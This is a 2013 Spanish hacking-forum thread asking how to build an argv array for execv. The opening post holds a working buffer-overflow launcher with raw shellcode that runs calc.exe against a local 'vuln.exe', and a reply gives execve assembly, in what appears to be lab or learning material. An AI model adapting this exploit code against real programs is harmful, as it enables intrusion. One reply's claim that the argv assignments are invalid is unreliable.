elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  crear arreglo con distintos tipos de datos?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: crear arreglo con distintos tipos de datos?  (Leído 1,877 veces)
.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
crear arreglo con distintos tipos de datos?
« en: 18 Junio 2013, 01:14 am »

Hola a todos estoy haciendo una shellcode:

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4.  
  5. void main(int argc, char *argv[]) {
  6. char relleno[1024] ="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  7. char offset[]  = "\xED\x1E\x95\x7C";
  8. char exploit[] = "\x55\x8B\xEC\x83\xEC\x0C\x32\xD2\xC6\x45\xF4\x63\xC6\x45\xF5\x61\xC6\x45\xF6\x6C\xC6\x45\xF7\x63\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6\x45\xFA\x78\xC6\x45\xFB\x65\x88\x55\xFC\x8D\x45\xF4\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x8B\xE5\x5D";
  9.  
  10. strcat(relleno,offset);
  11. strcat(relleno,exploit);
  12.  
  13. argv[0] = "vuln1";
  14.    argv[1] = relleno;
  15.    argv[2] = NULL;
  16.  
  17. execv ("vuln.exe",argv);
  18.  
  19. }

Esta funciona de maravilla, lo que si me surge una duda con respecto a execv, cómo se puede apreciar se le envían los parámetros de argv (estos se asignan con anterioridad), pero me surge la duda de cómo podría crear mi propio arreglo con distintos tipos de datos como lo es en argv para posteriormente entregárselo a execv, saludos.


En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
amchacon


Desconectado Desconectado

Mensajes: 1.211



Ver Perfil
Re: crear arreglo con distintos tipos de datos?
« Respuesta #1 en: 18 Junio 2013, 01:35 am »

El paramétro argc te dice cuantos parámetros se han pasado al programa.

Por cierto:

Código
  1. argv[0] = "vuln1";
  2. argv[1] = relleno;
  3. argv[2] = NULL;

Estas equivalencias son erroneas (no se puede usar asignación en cadenas char, tienes que usar strcopy, además estás modificando los argumentos que te han pasado *_*).


En línea

Por favor, no me manden MP con dudas. Usen el foro, gracias.

¡Visita mi programa estrella!

Rar File Missing: Esteganografía en un Rar
cpu2


Desconectado Desconectado

Mensajes: 993


Ver Perfil
Re: crear arreglo con distintos tipos de datos?
« Respuesta #2 en: 18 Junio 2013, 01:56 am »

Te dejo un ejemplo en ASM, creo que es lo que pretendes hacer.

Código
  1. pushq %rax
  2. pushw $0x6c2d
  3. pushq %rsp
  4. popq %rcx
  5. movq $0x736c2f6e69622f, %rbx
  6. pushq %rbx
  7. pushq %rsp
  8. popq %rdi
  9. pushq %rax     ; argv[2] = NULL
  10. pushq %rcx     ; argv[1] = "-l" su direccion, o en tu caso relleno.
  11. pushq %rdi      ; argv[0] = "/bin/ls"
  12. pushq %rsp
  13. popq %rsi
  14. movb $0x3b, %al
  15. syscall

Cualquier duda ya sabes.

Un saludo.
En línea

flony


Desconectado Desconectado

Mensajes: 565



Ver Perfil
Re: crear arreglo con distintos tipos de datos?
« Respuesta #3 en: 18 Junio 2013, 03:54 am »

hola cp2....pasarias un buen libro o tutorial de asm :)
En línea

si un problema no tiene solucion entonces no es un problema...es algo inevitable
cpu2


Desconectado Desconectado

Mensajes: 993


Ver Perfil
Re: crear arreglo con distintos tipos de datos?
« Respuesta #4 en: 18 Junio 2013, 09:16 am »

.:UND3R:.  te dejo dos en C.

Código
  1. char *ls[] = { "/bin/ls", "-l", NULL };
  2.  
  3. execv (ls[0], ls);

Tú caso sería este.


Código
  1. char *vuln[] = { "vuln.exe", relleno, NULL };
  2.  
  3. execv (vuln[0], vuln);

Pero es más eficiente el de ASM.

hola cp2....pasarias un buen libro o tutorial de asm :)

Cualquier libro ya esta bien, y luego ir tirando con los manuales de instrucciones.

Un saludo.
« Última modificación: 18 Junio 2013, 09:29 am por cpu2 » En línea

pacoperico

Desconectado Desconectado

Mensajes: 100


Ver Perfil
Re: crear arreglo con distintos tipos de datos?
« Respuesta #5 en: 18 Junio 2013, 12:56 pm »

cómo podría crear mi propio arreglo con distintos tipos de datos

No se puede, todos los elementos del arreglo han de ser del mismo tipo de variables. Lo que puedes hacer es crearte una estructura y ahi si puedes combinar distintos tipos de variables.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines